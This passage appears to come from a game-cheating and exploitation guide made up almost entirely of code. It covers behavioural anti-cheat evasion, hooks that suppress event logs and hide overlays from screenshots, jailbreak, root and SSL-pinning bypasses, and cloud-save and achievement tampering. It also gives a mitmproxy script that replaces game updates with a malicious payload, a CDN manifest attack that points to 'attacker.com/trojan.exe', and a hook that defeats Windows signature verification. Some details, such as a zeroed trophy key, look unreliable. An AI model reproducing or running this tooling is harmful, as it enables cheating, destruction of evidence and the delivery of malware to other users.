vm_size_t size = 0;
while (true) {
mach_vm_address_t addr = address;
mach_vm_size_t sz = 0;
kern_return_t kr = mach_vm_region(
mach_task_self(),
&addr,
&sz,
VM_REGION_BASIC_INFO_64,
NULL,
NULL,
NULL
);
if (kr != KERN_SUCCESS) break;
// Look for Rosetta signatures
if (strstr((char*)addr, "rosetta") != NULL) {
return (void*)addr;
}
address = addr + sz;
}
return NULL;
}
};
Behavioral ML Detection Evasion
Input Humanization with GANs
import torch
import torch.nn as nn
class InputHumanizer(nn.Module):
def __init__(self):
super().__init__()
# Generator network
self.generator = nn.Sequential(
nn.Linear(100, 256),
nn.LeakyReLU(0.2),
nn.Linear(256, 512),
nn.LeakyReLU(0.2),
nn.Linear(512, 2) # Output: (mouse_x, mouse_y) delta
)
def forward(self, z):
return self.generator(z)
def generate_human_input(self, target_delta):
# Add noise to make input look human
z = torch.randn(1, 100)
# Generate realistic input path
generated = self.forward(z)
# Scale to target
scaled = generated * torch.tensor(target_delta)
return scaled.detach().numpy()[0]
class MouseHumanizer:
def __init__(self):
self.model = InputHumanizer()
self.load_pretrained_model()
def humanize_mouse_movement(self, current_pos, target_pos):
delta = (target_pos[0] - current_pos[0], target_pos[1] - current_pos[1])
distance = np.sqrt(delta[0]**2 + delta[1]**2)
# Generate path with human-like characteristics
num_steps = max(5, int(distance / 10))
path = []
for i in range(num_steps):
t = i / num_steps
# Bezier curve with noise
noise = self.model.generate_human_input([10, 10])
point = (
current_pos[0] + delta[0] * t + noise[0],
current_pos[1] + delta[1] * t + noise[1]
)
path.append(point)
# Add reaction time variation
time.sleep(0.001 + random.gauss(0.003, 0.001))
return path
Timing Attack Evasion
class TimingEvasion {
private:
std::mt19937 rng;
std::normal_distribution<double> reaction_time;
std::normal_distribution<double> action_interval;
public:
TimingEvasion() {
rng.seed(std::random_device{}());
// Human reaction time: 200-350ms (mean 250ms, stddev 40ms)
reaction_time = std::normal_distribution<double>(250, 40);
// Action intervals: 100-500ms
action_interval = std::normal_distribution<double>(200, 80);
}
void HumanizedAction(std::function<void()> action) {
// Add reaction delay
double delay_ms = std::max(150.0, reaction_time(rng));
std::this_thread::sleep_for(std::chrono::milliseconds((int)delay_ms));
// Execute action
action();
// Add post-action delay
double interval_ms = std::max(80.0, action_interval(rng));
std::this_thread::sleep_for(std::chrono::milliseconds((int)interval_ms));
}
void SimulateThinkTime() {
// Humans pause to think/assess
// 5% chance of longer pause
if ((rng() % 100) < 5) {
int think_ms = 500 + (rng() % 1500);
std::this_thread::sleep_for(std::chrono::milliseconds(think_ms));
}
}
void AddMicroCorrections(float& mouse_x, float& mouse_y) {
// Humans make tiny corrections
std::normal_distribution<float> micro(0.0f, 0.5f);
mouse_x += micro(rng);
mouse_y += micro(rng);
}
};
Anti-Forensics & Evidence Removal
Log Tampering
// Hook Windows Event Log
typedef BOOL (WINAPI* ReportEventW_t)(
HANDLE hEventLog,
WORD wType,
WORD wCategory,
DWORD dwEventID,
PSID lpUserSid,
WORD wNumStrings,
DWORD dwDataSize,
LPCWSTR* lpStrings,
LPVOID lpRawData
);
ReportEventW_t Original_ReportEventW = nullptr;
BOOL WINAPI Hook_ReportEventW(
HANDLE hEventLog,
WORD wType,
WORD wCategory,
DWORD dwEventID,
PSID lpUserSid,
WORD wNumStrings,
DWORD dwDataSize,
LPCWSTR* lpStrings,
LPVOID lpRawData
) {
// Filter out cheat-related events
if (dwEventID == CHEAT_DETECTION_EVENT_ID) {
return TRUE; // Pretend success but don't log
}
return Original_ReportEventW(hEventLog, wType, wCategory, dwEventID,
lpUserSid, wNumStrings, dwDataSize, lpStrings, lpRawData);
}
// Clear game logs
void ClearGameLogs() {
std::vector<std::string> log_paths = {
"%APPDATA%\\Game\\logs\\",
"%LOCALAPPDATA%\\Game\\Saved\\Logs\\",
"%TEMP%\\GameLogs\\"
};
for (const auto& path : log_paths) {
char expanded[MAX_PATH];
ExpandEnvironmentStrings(path.c_str(), expanded, MAX_PATH);
// Securely delete files
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFile((std::string(expanded) + "*.log").c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
std::string fullPath = std::string(expanded) + findData.cFileName;
SecureDeleteFile(fullPath);
} while (FindNextFile(hFind, &findData));
FindClose(hFind);
}
}
}
void SecureDeleteFile(const std::string& path) {
// Overwrite with random data before deletion
HANDLE hFile = CreateFile(path.c_str(), GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD fileSize = GetFileSize(hFile, NULL);
// Overwrite 3 times with random data
for (int pass = 0; pass < 3; pass++) {
std::vector<BYTE> randomData(fileSize);
RAND_bytes(randomData.data(), fileSize);
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
DWORD written;
WriteFile(hFile, randomData.data(), fileSize, &written, NULL);
}
CloseHandle(hFile);
}
DeleteFile(path.c_str());
}
Screenshot Detection Blocking
// Hook screenshot APIs
typedef BOOL (WINAPI* BitBlt_t)(HDC, int, int, int, int, HDC, int, int, DWORD);
BitBlt_t Original_BitBlt = nullptr;
BOOL WINAPI Hook_BitBlt(HDC hdcDest, int x, int y, int cx, int cy, HDC hdcSrc, int x1, int y1, DWORD rop) {
// Detect screenshot capture
if (IsScreenshotCapture(hdcSrc, hdcDest)) {
// Clean up overlays
HideESPOverlay();
// Call original
BOOL result = Original_BitBlt(hdcDest, x, y, cx, cy, hdcSrc, x1, y1, rop);
// Restore overlays
ShowESPOverlay();
return result;
}
return Original_BitBlt(hdcDest, x, y, cx, cy, hdcSrc, x1, y1, rop);
}
Competitive/Esports Specific Techniques
Tournament Client Analysis
def analyze_tournament_client(client_path):
# Check for additional protections
pe = pefile.PE(client_path)
protections = {
'signed': False,
'integrity_checks': [],
'additional_drivers': []
}
# Check digital signature
if hasattr(pe, 'DIRECTORY_ENTRY_SECURITY'):
protections['signed'] = True
# Scan for integrity check routines
for section in pe.sections:
data = section.get_data()
# Look for CRC32/hash check patterns
if b'\x81\xC1' in data: # add ecx, imm32 (CRC pattern)
protections['integrity_checks'].append(section.Name.decode().strip('\x00'))
return protections
LAN Environment Restrictions
// Detect LAN tournament restrictions
class LANDetection {
public:
bool IsInTournamentEnvironment() {
// Check for specific network configuration
if (IsNetworkRestricted()) return true;
// Check for tournament server certificates
if (HasTournamentCertificate()) return true;
// Check for admin tools presence
if (DetectAdminTools()) return true;
return false;
}
bool IsNetworkRestricted() {
// Tournament LANs often have specific IP ranges
char hostname[256];
gethostname(hostname, sizeof(hostname));
struct hostent* host = gethostbyname(hostname);
if (host) {
struct in_addr** addr_list = (struct in_addr**)host->h_addr_list;
for (int i = 0; addr_list[i] != NULL; i++) {
std::string ip = inet_ntoa(*addr_list[i]);
// Common tournament IP ranges
if (ip.find("10.0.") == 0 || ip.find("192.168.100.") == 0) {
return true;
}
}
}
return false;
}
};
Advanced Mobile Game Exploitation
iOS Advanced Techniques
Jailbreak Detection Bypass
// Hook jailbreak detection methods
%hook JailbreakDetector
- (BOOL)isJailbroken {
return NO;
}
- (BOOL)checkForCydia {
return NO;
}
- (BOOL)checkSuspiciousFiles {
return NO;
}
%end
// Hook file access to hide jailbreak files
%hook NSFileManager
- (BOOL)fileExistsAtPath:(NSString *)path {
NSArray *blacklist = @[@"/Applications/Cydia.app",
@"/Library/MobileSubstrate",
@"/bin/bash",
@"/usr/sbin/sshd"];
if ([blacklist containsObject:path]) {
return NO;
}
return %orig;
}
%end
iOS Memory Manipulation with Frida
// Attach to iOS game
const baseAddr = Module.findBaseAddress('GameBinary');
// Find and patch currency
const currencyPattern = '48 8B 05 ?? ?? ?? ?? 48 8B 48 10';
const matches = Memory.scanSync(baseAddr, Process.pageSize * 1000, currencyPattern);
matches.forEach(match => {
console.log('[+] Found currency at:', match.address);
// Patch to always return max value
Memory.protect(match.address, 16, 'rwx');
match.address.writeByteArray([
0xB8, 0xFF, 0xFF, 0xFF, 0x7F, // mov eax, 0x7FFFFFFF
0xC3 // ret
]);
});
iOS SSL Pinning Bypass
// Bypass SSL pinning
if (ObjC.available) {
// Bypass NSURLSession pinning
const NSURLSession = ObjC.classes.NSURLSession;
Interceptor.attach(NSURLSession['- URLSession:didReceiveChallenge:completionHandler:'].implementation, {
onEnter: function(args) {
const completionHandler = new ObjC.Block(args[4]);
const origImpl = completionHandler.implementation;
completionHandler.implementation = function(disposition, credential) {
// Accept any certificate
return origImpl(1, credential);
};
}
});
// Bypass AFNetworking pinning
const AFHTTPSessionManager = ObjC.classes.AFHTTPSessionManager;
if (AFHTTPSessionManager) {
Interceptor.replace(AFHTTPSessionManager['- setSecurityPolicy:'].implementation, new NativeCallback(function(self, sel, policy) {
console.log('[+] Bypassed AFNetworking SSL pinning');
}, 'void', ['pointer', 'pointer', 'pointer']));
}
}
Android Advanced Techniques
Root Detection Bypass (Native)
// Hook native root checks with Substrate
#include <substrate.h>
static int (*original_access)(const char *pathname, int mode);
int hooked_access(const char *pathname, int mode) {
// Block access to root indicators
const char *root_files[] = {
"/system/app/Superuser.apk",
"/system/bin/su",
"/system/xbin/su",
"/data/data/com.noshufou.android.su",
"/data/data/com.topjohnwu.magisk"
};
for (int i = 0; i < sizeof(root_files)/sizeof(root_files[0]); i++) {
if (strcmp(pathname, root_files[i]) == 0) {
errno = ENOENT;
return -1;
}
}
return original_access(pathname, mode);
}
__attribute__((constructor))
static void initialize() {
MSHookFunction((void *)access, (void *)hooked_access, (void **)&original_access);
}
Android Memory Scanning with /proc/maps
import os
import struct
class AndroidMemoryScanner:
def __init__(self, package_name):
self.pid = self.get_pid(package_name)
def get_pid(self, package_name):
# Get PID from ps
output = os.popen(f'adb shell "ps | grep {package_name}"').read()
return int(output.split()[1])
def scan_memory(self, value, value_type='i'):
matches = []
# Read memory maps
maps = os.popen(f'adb shell "cat /proc/{self.pid}/maps"').read()
for line in maps.split('\n'):
if 'rw' not in line or '[' in line:
continue
parts = line.split()
addr_range = parts[0].split('-')
start = int(addr_range[0], 16)
end = int(addr_range[1], 16)
# Pull memory region
size = end - start
if size > 10000000: # Skip huge regions
continue
try:
mem_data = self.read_memory(start, size)
matches.extend(self.find_value(mem_data, value, start, value_type))
except:
pass
return matches
def read_memory(self, address, size):
cmd = f'adb shell "su -c \'dd if=/proc/{self.pid}/mem bs=1 count={size} skip={address} 2>/dev/null\'" | xxd -p'
hex_data = os.popen(cmd).read().replace('\n', '')
return bytes.fromhex(hex_data)
def find_value(self, data, value, base_addr, value_type):
matches = []
packed = struct.pack(value_type, value)
offset = 0
while True:
offset = data.find(packed, offset)
if offset == -1:
break
matches.append(base_addr + offset)
offset += 1
return matches
# Usage
scanner = AndroidMemoryScanner('com.example.game')
addresses = scanner.scan_memory(1000) # Find value 1000
print(f'Found at: {[hex(addr) for addr in addresses]}')
Android IL2CPP Offset Dumping
import frida
import sys
def on_message(message, data):
print(message)
device = frida.get_usb_device()
pid = device.spawn(['com.game.package'])
session = device.attach(pid)
script = session.create_script("""
// Dump IL2CPP offsets on Android
const il2cpp = Process.findModuleByName('libil2cpp.so');
console.log('[+] libil2cpp.so base:', il2cpp.base);
// Find il2cpp_domain_get
const domain_get = Module.findExportByName('libil2cpp.so', 'il2cpp_domain_get');
console.log('[+] il2cpp_domain_get:', domain_get);
// Get domain
const domain = new NativeFunction(domain_get, 'pointer', [])();
console.log('[+] Domain:', domain);
// Find il2cpp_domain_get_assemblies
const get_assemblies = Module.findExportByName('libil2cpp.so', 'il2cpp_domain_get_assemblies');
const assemblies_func = new NativeFunction(get_assemblies, 'pointer', ['pointer', 'pointer']);
const sizePtr = Memory.alloc(4);
const assemblies = assemblies_func(domain, sizePtr);
const count = sizePtr.readInt();
console.log('[+] Found', count, 'assemblies');
// Enumerate assemblies
for (let i = 0; i < count; i++) {
const assembly = assemblies.add(i * Process.pointerSize).readPointer();
const image = new NativeFunction(Module.findExportByName('libil2cpp.so', 'il2cpp_assembly_get_image'), 'pointer', ['pointer'])(assembly);
const name = new NativeFunction(Module.findExportByName('libil2cpp.so', 'il2cpp_image_get_name'), 'pointer', ['pointer'])(image);
console.log('[+] Assembly:', name.readCString());
// Enumerate classes
const classCount = new NativeFunction(Module.findExportByName('libil2cpp.so', 'il2cpp_image_get_class_count'), 'int', ['pointer'])(image);
for (let j = 0; j < classCount; j++) {
const klass = new NativeFunction(Module.findExportByName('libil2cpp.so', 'il2cpp_image_get_class'), 'pointer', ['pointer', 'int'])(image, j);
const className = new NativeFunction(Module.findExportByName('libil2cpp.so', 'il2cpp_class_get_name'), 'pointer', ['pointer'])(klass);
console.log(' Class:', className.readCString());
// Dump field offsets
const iter = Memory.alloc(Process.pointerSize);
iter.writePointer(ptr(0));
while (true) {
const field = new NativeFunction(Module.findExportByName('libil2cpp.so', 'il2cpp_class_get_fields'), 'pointer', ['pointer', 'pointer'])(klass, iter);
if (field.isNull()) break;
const fieldName = new NativeFunction(Module.findExportByName('libil2cpp.so', 'il2cpp_field_get_name'), 'pointer', ['pointer'])(field);
const offset = new NativeFunction(Module.findExportByName('libil2cpp.so', 'il2cpp_field_get_offset'), 'int', ['pointer'])(field);
console.log(' Field:', fieldName.readCString(), 'Offset:', '0x' + offset.toString(16));
}
}
}
""")
script.on('message', on_message)
script.load()
device.resume(pid)
sys.stdin.read()
Cloud Save & Achievement Exploitation
Cloud Save Tampering
Steam Cloud Save Manipulation
import os
import vdf # Valve Data Format parser
import struct
class SteamCloudExploit:
def __init__(self, app_id):
self.app_id = app_id
self.steam_path = os.path.expanduser('~/.steam/steam')
self.userdata_path = os.path.join(self.steam_path, 'userdata')
def find_save_files(self):
saves = []
for user_id in os.listdir(self.userdata_path):
save_dir = os.path.join(self.userdata_path, user_id, str(self.app_id), 'remote')
if os.path.exists(save_dir):
for file in os.listdir(save_dir):
saves.append(os.path.join(save_dir, file))
return saves
def modify_save(self, save_path, modifications):
with open(save_path, 'rb') as f:
data = bytearray(f.read())
# Example: Modify currency at known offset
if 'currency' in modifications:
offset = modifications['currency']['offset']
value = modifications['currency']['value']
struct.pack_into('<I', data, offset, value)
# Recalculate checksum if present
if self.has_checksum(data):
checksum = self.calculate_checksum(data[:-4])
struct.pack_into('<I', data, len(data) - 4, checksum)
with open(save_path, 'wb') as f:
f.write(data)
def calculate_checksum(self, data):
# CRC32 checksum
import zlib
return zlib.crc32(data) & 0xFFFFFFFF
# Usage
exploit = SteamCloudExploit(730) # CS:GO app ID
saves = exploit.find_save_files()
exploit.modify_save(saves[0], {
'currency': {'offset': 0x1234, 'value': 999999}
})
Epic Games Cloud Save Exploit
import requests
import json
import base64
class EpicCloudSaveExploit:
def __init__(self, access_token):
self.access_token = access_token
self.base_url = 'https://fls-na.ol.epicgames.com/api/cloudstorage'
def list_files(self, account_id, app_name):
headers = {'Authorization': f'Bearer {self.access_token}'}
url = f'{self.base_url}/system/{app_name}/{account_id}'
response = requests.get(url, headers=headers)
return response.json()
def download_save(self, account_id, app_name, filename):
headers = {'Authorization': f'Bearer {self.access_token}'}
url = f'{self.base_url}/system/{app_name}/{account_id}/{filename}'
response = requests.get(url, headers=headers)
return response.content
def upload_modified_save(self, account_id, app_name, filename, data):
headers = {
'Authorization': f'Bearer {self.access_token}',
'Content-Type': 'application/octet-stream'
}
url = f'{self.base_url}/system/{app_name}/{account_id}/{filename}'
response = requests.put(url, headers=headers, data=data)
return response.status_code == 204
def inject_items(self, save_data, item_list):
# Modify save game to add items
# Implementation depends on game-specific format
save_json = json.loads(save_data)
if 'inventory' in save_json:
for item in item_list:
save_json['inventory'].append(item)
return json.dumps(save_json)
# Usage
exploit = EpicCloudSaveExploit('your_access_token')
files = exploit.list_files('account_id', 'Fortnite')
save_data = exploit.download_save('account_id', 'Fortnite', 'SaveSlot.sav')
modified = exploit.inject_items(save_data, [{'id': 'legendary_weapon', 'count': 99}])
exploit.upload_modified_save('account_id', 'Fortnite', 'SaveSlot.sav', modified)
Achievement/Trophy System Exploitation
Steam Achievement Unlocker
#include <windows.h>
#include <steam/steam_api.h>
class AchievementUnlocker {
private:
ISteamUserStats* stats;
public:
AchievementUnlocker() {
SteamAPI_Init();
stats = SteamUserStats();
}
void UnlockAll() {
int numAchievements = stats->GetNumAchievements();
for (int i = 0; i < numAchievements; i++) {
const char* name = stats->GetAchievementName(i);
// Set achievement
stats->SetAchievement(name);
// Set progress to 100%
stats->IndicateAchievementProgress(name, 100, 100);
}
// Store stats
stats->StoreStats();
}
void UnlockSpecific(const char* achievement_name) {
stats->SetAchievement(achievement_name);
stats->StoreStats();
}
void ResetAll() {
stats->ResetAllStats(true); // true = reset achievements too
stats->StoreStats();
}
};
// Inject this into game process
extern "C" __declspec(dllexport) void InjectMain() {
AchievementUnlocker unlocker;
unlocker.UnlockAll();
}
PlayStation Trophy Injection (PS4/PS5)
import struct
import hashlib
class PS4TrophyExploit:
def __init__(self, save_path):
self.save_path = save_path
def parse_trophy_data(self):
with open(self.save_path, 'rb') as f:
data = f.read()
# PS4 trophy data structure
magic = data[:4]
if magic != b'TROP':
raise ValueError('Invalid trophy file')
version = struct.unpack('<I', data[4:8])[0]
trophy_count = struct.unpack('<I', data[8:12])[0]
trophies = []
offset = 64 # Header size
for i in range(trophy_count):
trophy_id = struct.unpack('<I', data[offset:offset+4])[0]
unlocked = struct.unpack('B', data[offset+4:offset+5])[0]
timestamp = struct.unpack('<Q', data[offset+8:offset+16])[0]
trophies.append({
'id': trophy_id,
'unlocked': unlocked == 1,
'timestamp': timestamp
})
offset += 32
return trophies
def unlock_trophy(self, trophy_id):
with open(self.save_path, 'rb') as f:
data = bytearray(f.read())
# Find trophy entry
trophy_count = struct.unpack('<I', data[8:12])[0]
offset = 64
for i in range(trophy_count):
current_id = struct.unpack('<I', data[offset:offset+4])[0]
if current_id == trophy_id:
# Set unlocked flag
data[offset+4] = 1
# Set current timestamp
import time
timestamp = int(time.time())
struct.pack_into('<Q', data, offset+8, timestamp)
break
offset += 32
# Recalculate HMAC-SHA256
hmac_offset = len(data) - 32
key = self.get_trophy_key()
hmac = hashlib.sha256(key + bytes(data[:hmac_offset])).digest()
data[hmac_offset:] = hmac
with open(self.save_path, 'wb') as f:
f.write(data)
def get_trophy_key(self):
# Trophy encryption key (example)
return b'\x00' * 16
# Usage
exploit = PS4TrophyExploit('/mnt/usb0/PS4/SAVEDATA/trophy.dat')
exploit.unlock_trophy(0) # Unlock first trophy
Speedrunning Tools & Techniques
Tool-Assisted Speedrun (TAS) Framework
import time
import keyboard
import json
class TASFramework:
def __init__(self, game_fps=60):
self.game_fps = game_fps
self.frame_time = 1.0 / game_fps
self.inputs = []
self.recording = False
def record_frame(self):
frame_inputs = {
'keys': [],
'mouse': {'x': 0, 'y': 0, 'buttons': []}
}
# Capture keyboard state
for key_code in range(256):
if keyboard.is_pressed(key_code):
frame_inputs['keys'].append(key_code)
return frame_inputs
def start_recording(self):
self.recording = True
self.inputs = []
print('[+] Recording TAS inputs...')
while self.recording:
frame_start = time.time()
frame_data = self.record_frame()
self.inputs.append(frame_data)
# Wait for next frame
elapsed = time.time() - frame_start
if elapsed < self.frame_time:
time.sleep(self.frame_time - elapsed)
def stop_recording(self):
self.recording = False
print(f'[+] Recorded {len(self.inputs)} frames')
def playback(self):
print('[+] Playing back TAS...')
for i, frame in enumerate(self.inputs):
frame_start = time.time()
# Release all keys first
keyboard.unhook_all()
# Press frame keys
for key in frame['keys']:
keyboard.press(key)
# Wait for next frame
elapsed = time.time() - frame_start
if elapsed < self.frame_time:
time.sleep(self.frame_time - elapsed)
# Release keys
for key in frame['keys']:
keyboard.release(key)
def save(self, filename):
with open(filename, 'w') as f:
json.dump(self.inputs, f)
def load(self, filename):
with open(filename, 'r') as f:
self.inputs = json.load(f)
# Usage
tas = TASFramework(game_fps=60)
keyboard.add_hotkey('f1', tas.start_recording)
keyboard.add_hotkey('f2', tas.stop_recording)
keyboard.add_hotkey('f3', tas.playback)
keyboard.wait()
RNG Manipulation
import struct
import ctypes
class RNGManipulator:
def __init__(self, process_name):
self.process = self.open_process(process_name)
def find_rng_state(self):
# Common RNG algorithms
# 1. Linear Congruential Generator (LCG)
# Next = (a * seed + c) mod m
# Common values: a=1103515245, c=12345, m=$2^{31}$
# 2. Mersenne Twister
# State array of 624 uint32 values
# Scan for RNG state patterns
return self.scan_memory_patterns()
def predict_next_values(self, seed, algorithm='lcg'):
if algorithm == 'lcg':
# LCG prediction
a = 1103515245
c = 12345
m = 2**31
predictions = []
current = seed
for i in range(100):
current = (a * current + c) % m
predictions.append(current)
return predictions
elif algorithm == 'mt19937':
# Mersenne Twister prediction
return self.predict_mt19937(seed)
def manipulate_seed(self, target_value):
# Find seed that produces target value
for seed in range(1000000):
predictions = self.predict_next_values(seed)
if target_value in predictions:
return seed
return None
def inject_seed(self, seed_address, new_seed):
# Write new seed to memory
kernel32 = ctypes.windll.kernel32
buffer = ctypes.c_uint32(new_seed)
bytes_written = ctypes.c_size_t()
kernel32.WriteProcessMemory(
self.process,
seed_address,
ctypes.byref(buffer),
4,
ctypes.byref(bytes_written)
)
# Example: Manipulate loot drop RNG
rng = RNGManipulator('game.exe')
seed_addr = rng.find_rng_state()
target_seed = rng.manipulate_seed(target_value=legendary_item_id)
rng.inject_seed(seed_addr, target_seed)
Frame-Perfect Input Execution
#include <Windows.h>
#include <chrono>
#include <vector>
class FramePerfectExecutor {
private:
double target_fps;
double frame_time_ms;
std::chrono::high_resolution_clock::time_point last_frame;
struct FrameInput {
int frame_number;
std::vector<WORD> keys;
int mouse_dx;
int mouse_dy;
};
std::vector<FrameInput> input_sequence;
public:
FramePerfectExecutor(double fps) : target_fps(fps) {
frame_time_ms = 1000.0 / fps;
last_frame = std::chrono::high_resolution_clock::now();
}
void AddFrameInput(int frame, std::vector<WORD> keys, int dx = 0, int dy = 0) {
FrameInput input;
input.frame_number = frame;
input.keys = keys;
input.mouse_dx = dx;
input.mouse_dy = dy;
input_sequence.push_back(input);
}
void Execute() {
int current_frame = 0;
for (const auto& frame_input : input_sequence) {
// Wait until target frame
while (current_frame < frame_input.frame_number) {
WaitForNextFrame();
current_frame++;
}
// Execute inputs for this frame
for (WORD key : frame_input.keys) {
SendInput(key, true);
}
if (frame_input.mouse_dx != 0 || frame_input.mouse_dy != 0) {
mouse_event(MOUSEEVENTF_MOVE, frame_input.mouse_dx, frame_input.mouse_dy, 0, 0);
}
// Release keys at frame end
for (WORD key : frame_input.keys) {
SendInput(key, false);
}
}
}
void WaitForNextFrame() {
auto now = std::chrono::high_resolution_clock::now();
auto elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(now - last_frame).count();
if (elapsed < frame_time_ms) {
Sleep(frame_time_ms - elapsed);
}
last_frame = std::chrono::high_resolution_clock::now();
}
void SendInput(WORD key, bool press) {
INPUT input = {0};
input.type = INPUT_KEYBOARD;
input.ki.wVk = key;
input.ki.dwFlags = press ? 0 : KEYEVENTF_KEYUP;
::SendInput(1, &input, sizeof(INPUT));
}
};
// Usage: Frame-perfect combo execution
FramePerfectExecutor executor(60.0); // 60 FPS game
// Frame 0: Jump
executor.AddFrameInput(0, {VK_SPACE});
// Frame 3: Attack while in air
executor.AddFrameInput(3, {'J'});
// Frame 5: Special move
executor.AddFrameInput(5, {'K', 'L'});
executor.Execute();
Memory Forensics Evasion
Anti-Memory Dump Techniques
#include <Windows.h>
#include <winternl.h>
class AntiDumpTechniques {
public:
// Erase PE header from memory
static void ErasePEHeader() {
HMODULE hModule = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew);
DWORD oldProtect;
VirtualProtect(hModule, pNTHeaders->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &oldProtect);
// Zero out PE header
memset(hModule, 0, pNTHeaders->OptionalHeader.SizeOfHeaders);
VirtualProtect(hModule, pNTHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect);
}
// Hide memory regions from tools
static void HideMemoryRegions() {
MEMORY_BASIC_INFORMATION mbi;
PBYTE address = NULL;
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
if (mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) {
// Change page protection to hide from scanners
DWORD oldProtect;
VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_NOACCESS, &oldProtect);
// Perform operations
// ...
// Restore protection
VirtualProtect(mbi.BaseAddress, mbi.RegionSize, oldProtect, &oldProtect);
}
address += mbi.RegionSize;
}
}
// Detect memory scanning tools
static bool DetectMemoryScanner() {
// Check for known scanner process names
const wchar_t* scanners[] = {
L"cheatengine-x86_64.exe",
L"ollydbg.exe",
L"x64dbg.exe",
L"processhacker.exe"
};
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return false;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe32)) {
do {
for (const auto& scanner : scanners) {
if (_wcsicmp(pe32.szExeFile, scanner) == 0) {
CloseHandle(hSnapshot);
return true;
}
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return false;
}
// Encrypt sensitive data in memory
static void EncryptMemoryRegion(void* data, size_t size, DWORD key) {
DWORD* ptr = (DWORD*)data;
size_t dwords = size / sizeof(DWORD);
for (size_t i = 0; i < dwords; i++) {
ptr[i] ^= key;
}
}
// Guard pages to detect scanning
static void SetupGuardPages(void* address, size_t size) {
DWORD oldProtect;
VirtualProtect(address, size, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
}
};
// Anti-dump guard
class MemoryGuard {
private:
static LONG CALLBACK VectoredHandler(EXCEPTION_POINTERS* pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
// Memory accessed by scanner detected
ExitProcess(0);
}
return EXCEPTION_CONTINUE_SEARCH;
}
public:
static void Initialize() {
AddVectoredExceptionHandler(1, VectoredHandler);
// Erase headers
AntiDumpTechniques::ErasePEHeader();
// Check for scanners
if (AntiDumpTechniques::DetectMemoryScanner()) {
ExitProcess(0);
}
}
};
Supply Chain & Update Mechanism Attacks
Game Update MITM Attack
import mitmproxy
from mitmproxy import http
import hashlib
import os
class GameUpdateInjector:
def __init__(self, target_domain, payload_path):
self.target_domain = target_domain
self.payload_path = payload_path
def request(self, flow: http.HTTPFlow) -> None:
# Intercept update requests
if self.target_domain in flow.request.pretty_host:
if '/updates/' in flow.request.path or '.patch' in flow.request.path:
print(f'[+] Intercepted update request: {flow.request.path}')
def response(self, flow: http.HTTPFlow) -> None:
if self.target_domain in flow.request.pretty_host:
if '/updates/' in flow.request.path:
# Replace legitimate update with malicious payload
with open(self.payload_path, 'rb') as f:
malicious_update = f.read()
flow.response.content = malicious_update
# Recalculate content-length
flow.response.headers['content-length'] = str(len(malicious_update))
print(f'[+] Injected malicious update ({len(malicious_update)} bytes)')
# Run with: mitmdump -s game_update_injector.py
addons = [GameUpdateInjector('gameserver.example.com', 'malicious.patch')]
CDN Manifest Manipulation
import requests
import json
import hashlib
class CDNManifestExploit:
def __init__(self, cdn_url):
self.cdn_url = cdn_url
def download_manifest(self):
response = requests.get(f'{self.cdn_url}/manifest.json')
return response.json()
def modify_manifest(self, manifest, file_path, malicious_url):
# Find file entry in manifest
for file_entry in manifest['files']:
if file_entry['path'] == file_path:
# Replace with malicious URL
file_entry['url'] = malicious_url
# Recalculate hash if client validates
# (requires hosting malicious file)
malicious_content = requests.get(malicious_url).content
file_entry['sha256'] = hashlib.sha256(malicious_content).hexdigest()
file_entry['size'] = len(malicious_content)
print(f'[+] Modified manifest entry for {file_path}')
break
return manifest
def serve_modified_manifest(self, manifest):
# Host modified manifest on attacker server
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/manifest.json')
def get_manifest():
return jsonify(manifest)
app.run(host='0.0.0.0', port=80)
# Usage
exploit = CDNManifestExploit('https://cdn.game.com')
manifest = exploit.download_manifest()
modified = exploit.modify_manifest(manifest, 'GameBinary.exe', 'http://attacker.com/trojan.exe')
exploit.serve_modified_manifest(modified)
Signature Verification Bypass
#include <Windows.h>
#include <wincrypt.h>
#include <softpub.h>
// Hook WinVerifyTrust to bypass signature checks
typedef LONG (WINAPI* WinVerifyTrust_t)(HWND, GUID*, LPVOID);
WinVerifyTrust_t Original_WinVerifyTrust = nullptr;
LONG WINAPI Hooked_WinVerifyTrust(HWND hwnd, GUID* pgActionID, LPVOID pWVTData) {
// Always return success
return ERROR_SUCCESS;
}
void BypassSignatureVerification() {
HMODULE hWintrust = LoadLibrary(L"wintrust.dll");
if (hWintrust) {
Original_WinVerifyTrust = (WinVerifyTrust_t)GetProcAddress(hWintrust, "WinVerifyTrust");
// Hook the function
DWORD oldProtect;
VirtualProtect(Original_WinVerifyTrust, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
// JMP to our hook
BYTE jmp[5] = {0xE9};
*(DWORD*)(jmp + 1) = (DWORD)((BYTE*)Hooked_WinVerifyTrust - (BYTE*)Original_WinVerifyTrust - 5);
memcpy(Original_WinVerifyTrust, jmp, 5);
VirtualProtect(Original_WinVerifyTrust, 5, oldProtect, &oldProtect);
}
}
Side-Channel Attacks for Game State Inference
Cache-Based Side Channel
#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
#define CACHE_LINE_SIZE 64
#define THRESHOLD 80
class CacheSideChannel {
public:
// Flush+Reload attack
static uint64_t ProbeAddress(void* addr) {
uint64_t start, end;
// Flush from cache
